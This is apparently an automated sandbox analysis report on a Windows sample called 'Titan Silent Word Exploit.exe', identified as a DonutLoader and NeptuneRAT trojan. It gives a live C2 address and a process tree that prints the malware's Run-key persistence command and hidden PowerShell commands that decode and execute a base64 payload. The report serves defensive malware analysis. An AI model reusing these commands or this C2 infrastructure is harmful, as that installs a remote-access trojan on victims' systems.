Overview

overview

10

Static

static

3

Titan Sile...it.exe

windows10-2004-x64

10

Titan Sile...it.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    898s
  • max time network
    890s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    08/02/2026, 05:53

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Titan Silent Word Exploit.exe
  • Size 751KB
  • Sample260208-glsz4acy8e
  • SHA256 5b36aa5ca841698ddf9a123a1bdbffb9e3a6d9bb34bb2b33bd26f0908ba59f95
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionexecutiondonutloaderneptuneratloaderpersistencetrojan

Malware Config

Extracted

Family

  • neptunerat

C2

  • vvnc.ddns.net:1417

Signatures

  • Detects DonutLoader 1 IoCs
    loader
  • Detects NeptuneRAT stealer 1 IoCs
  • DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

    loaderdonutloader
  • Donutloader family
    donutloader
  • NeptuneRAT, MasonRAT

    NeptuneRAT aka MasonRAT is a trojan written in C#.

    trojanneptunerat
  • Neptunerat family
    neptunerat
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

    execution
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of UnmapMainImage
    PID:3128
    • C:\Users\Admin\AppData\Local\Temp\Titan Silent Word Exploit.exe
      "C:\Users\Admin\AppData\Local\Temp\Titan Silent Word Exploit.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4660
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Titan Silent Word Exploit.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2584
        • C:\Windows\system32\cscript.exe
          cscript //nologo "C:\Users\Admin\AppData\Local\Temp\SINK.vbs"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:6024
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Titan Silent Word Exploit.bat" %*
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3868
            • C:\Windows\system32\attrib.exe
              attrib +h "C:\Users\Admin\AppData\Roaming\Congress"
              6⤵
              • Views/modifies file attributes
              PID:2852
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CLIMB" /t REG_SZ /d "cmd /c \"C:\Users\Admin\AppData\Roaming\Congress\Principal.cmd\"" /f
              6⤵
              • Adds Run key to start application
              PID:1544
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -nop -w Hidden -ep Bypass -c "try { $c = Get-Content 'C:\Users\Admin\AppData\Roaming\Titan Silent Word Exploit.bat' -Raw; if ($c -match '@REM PstNiGbeXMGx4Wy([A-Za-z0-9+/=]+)') { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])) | Out-File -FilePath \"C:\Users\Admin\AppData\Local\Temp\spot.ps1\" -Encoding UTF8 } } catch {}"
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4780
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -nop -w Hidden -ep Bypass -f "C:\Users\Admin\AppData\Local\Temp\spot.ps1"
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2412
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qg44k3dj\qg44k3dj.cmdline"
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:5376
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEDBB.tmp" "c:\Users\Admin\AppData\Local\Temp\qg44k3dj\CSCF3075F8FCBB4C0E9FC3DD9AD4E339.TMP"
                  8⤵
                    PID:3900
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xesd4o0i\xesd4o0i.cmdline"
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1264
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEE57.tmp" "c:\Users\Admin\AppData\Local\Temp\xesd4o0i\CSCD79A6E3C1814888A9567E72825E544.TMP"
                    8⤵
                      PID:612
      • C:\Windows\system32\cmd.exe
        "cmd /c "C:\Users\Admin\AppData\Roaming\Congress\Principal.cmd""
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:492
        • C:\Windows\system32\cscript.exe
          cscript //nologo "C:\Users\Admin\AppData\Local\Temp\SINK.vbs"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5332
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Congress\Principal.cmd" %*
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5448
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CLIMB" /t REG_SZ /d "cmd /c \"C:\Users\Admin\AppData\Roaming\Congress\Principal.cmd\"" /f
              4⤵
              • Adds Run key to start application
              PID:2100
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -nop -w Hidden -ep Bypass -c "try { $c = Get-Content 'C:\Users\Admin\AppData\Roaming\Congress\Principal.cmd' -Raw; if ($c -match '@REM PstNiGbeXMGx4Wy([A-Za-z0-9+/=]+)') { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])) | Out-File -FilePath \"C:\Users\Admin\AppData\Local\Temp\spot.ps1\" -Encoding UTF8 } } catch {}"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4888
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -nop -w Hidden -ep Bypass -f "C:\Users\Admin\AppData\Local\Temp\spot.ps1"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3908

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            powershell.exe.log
            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 7c6c09f48f03421430d707d27632810414e5e2bf2eecd5eb675fecf8b45a9a92
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 a7dd972424019b0668bf196b34e30295110a5c9378ea780675fd8f5a7caa4067
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 c9386644a4ce3398fac70e71dad0030fd294fa747ec61f38268f684acb736b8a
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            RESEDBB.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\RESEDBB.tmp
            • Size 1KB
            • SHA256 3a6514a1f63274a91f3cf5c912697847227427661b7d169e557b4e421258f65e
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            RESEE57.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\RESEE57.tmp
            • Size 1KB
            • SHA256 977fcb4c70527e5d21a9e12ee3a9b47ac4b93995e8a29d12bcab600b1d660913
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            SINK.vbs
            • Path C:\Users\Admin\AppData\Local\Temp\SINK.vbs
            • Size 135B
            • SHA256 8cc0da32b548ee8cf958369b65b7552da981acc0b96791f1223e2c87a76a4d37
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            SINK.vbs
            • Path C:\Users\Admin\AppData\Local\Temp\SINK.vbs
            • Size 142B
            • SHA256 ac73724d82a4d8c0b6cdf4f1d27c80429cf8c216186976048bbb8f2da19c5642
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_igyoyajv.pz1.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_igyoyajv.pz1.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            qg44k3dj.dll
            • Path C:\Users\Admin\AppData\Local\Temp\qg44k3dj\qg44k3dj.dll
            • Size 3KB
            • SHA256 9b622f313e4f94df6ab90300b27dfeb8796bf0ba472d35db2bffad8f399c3503
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            spot.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\spot.ps1
            • Size 141KB
            • SHA256 76fe163a6bd554ecaee2ba29d0c623579acf3ae43acba029d16992966ec53f08
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            xesd4o0i.dll
            • Path C:\Users\Admin\AppData\Local\Temp\xesd4o0i\xesd4o0i.dll
            • Size 3KB
            • SHA256 472156538e795cfa54cf1b0db70ff907a0579565f062a99184bfb380a89a89d0
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Titan Silent Word Exploit.bat
            • Path C:\Users\Admin\AppData\Roaming\Titan Silent Word Exploit.bat
            • Size 190KB
            • SHA256 277423b753a9df4f592e1dca57ad8a69e2bc481aee25b5e01084359a2740987e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            CSCF3075F8FCBB4C0E9FC3DD9AD4E339.TMP
            • Path \??\c:\Users\Admin\AppData\Local\Temp\qg44k3dj\CSCF3075F8FCBB4C0E9FC3DD9AD4E339.TMP
            • Size 652B
            • SHA256 7b3f237b7a405af648ea25fb43c95984c30fcd8fd5b4083afa06ca8d35df372e
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            qg44k3dj.0.cs
            • Path \??\c:\Users\Admin\AppData\Local\Temp\qg44k3dj\qg44k3dj.0.cs
            • Size 390B
            • SHA256 653717d30c8412181c90b2323937b2dc668ad542558c1059efb84b141b72202d
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            qg44k3dj.cmdline
            • Path \??\c:\Users\Admin\AppData\Local\Temp\qg44k3dj\qg44k3dj.cmdline
            • Size 369B
            • SHA256 b02b7e02872b706889d62ae2998eea870a77e1cd44039b702cd8386715ad1019
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            CSCD79A6E3C1814888A9567E72825E544.TMP
            • Path \??\c:\Users\Admin\AppData\Local\Temp\xesd4o0i\CSCD79A6E3C1814888A9567E72825E544.TMP
            • Size 652B
            • SHA256 9d1794ff043994933a320b712c6e6cd830a5fe3c85e5de04180a1e82adad54da
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            xesd4o0i.0.cs
            • Path \??\c:\Users\Admin\AppData\Local\Temp\xesd4o0i\xesd4o0i.0.cs
            • Size 731B
            • SHA256 1633bc7e74a372d316488a21f5448bf3e971c431dd370df1e88c66ea03940991
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            xesd4o0i.cmdline
            • Path \??\c:\Users\Admin\AppData\Local\Temp\xesd4o0i\xesd4o0i.cmdline
            • Size 369B
            • SHA256 d93ffff0c08ad0d7b25c7d438d2d319408e693d9ab1a6a8bf9e0857e9557a104
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/2412-51-0x000001BA7B2C0000-0x000001BA7B2C8000-memory.dmp
            Download

            memory/2412-66-0x000001BA7E030000-0x000001BA7E038000-memory.dmp
            Download

            memory/3128-76-0x0000000003030000-0x000000000303D000-memory.dmp
            Download

            memory/3128-78-0x00000000048A0000-0x00000000048B2000-memory.dmp
            Download

            memory/4780-16-0x000002255EA80000-0x000002255EAA2000-memory.dmp
            Download